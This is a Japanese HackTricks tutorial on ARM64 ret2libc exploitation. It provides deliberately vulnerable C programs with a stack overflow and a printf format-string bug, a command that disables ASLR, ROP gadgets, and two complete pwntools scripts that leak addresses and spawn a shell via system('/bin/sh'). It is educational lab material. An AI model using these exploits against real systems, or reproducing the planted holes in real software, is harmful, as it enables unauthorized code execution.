Ret2lib + Printf leak - ARM64
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Ret2lib - NX バイパス (ROP を使用、ASLR なし)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
canaryなしでコンパイル:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
オフセットの特定 - x30 オフセット
pattern create 200 を作成し、それを使用して pattern search $x30 でオフセットを確認すると、オフセットは 108(0x6c)であることがわかる。
.png)
逆アセンブルした main 関数を見ると、バイナリがロードされる位置からのオフセットが 0x860 の、直接 ジャンプ して printf に飛ぶ命令へジャンプしたいことが分かる:
.png)
system と /bin/sh の文字列を見つける
ASLR が無効になっているため、アドレスは常に同じになる:
.png)
Gadgets を見つける
x0 レジスタに文字列 /bin/sh のアドレスを入れ、system を呼び出す必要がある。
rooper を使って興味深い gadget が見つかった:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
この gadget は x0 を $sp + 0x18 からロードし、その後 sp から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、この gadget を使えば 最初の引数を制御してから system にジャンプする ことができます。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - printf leaks from the stack を使った NX, ASL & PIE バイパス
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
コンパイル without canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE と ASLR だが canary なし
- ラウンド 1:
- stack からの PIE leak
- bof を悪用して main に戻す
- ラウンド 2:
- stack からの libc leak
- ROP: ret2system
Printf leaks
printf を呼び出す前にブレークポイントを設定すると、stack 上にバイナリに戻るためのアドレスと libc のアドレスが存在するのが確認できる:
.png)
異なる offsets を試すと、%21$p がバイナリのアドレスを leak(PIE bypass)し、%25$p が libc のアドレスを leak することがわかる:
.png)
libc の leaked address と libc の base address の差を取ると、offset of the leaked address from the base is 0x49c40.
x30 offset
bof が同じなので前の例を参照する。
Find Gadgets
前の例と同様に、x0 に文字列 /bin/sh のアドレスを入れ、system を呼ぶ必要がある。
rooper を使って別の興味深い gadget が見つかった:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
この gadget は x0 を $sp + 0x78 からロードし、その後 sp から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、この gadget を使えば 最初の引数を制御して system にジャンプできます。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


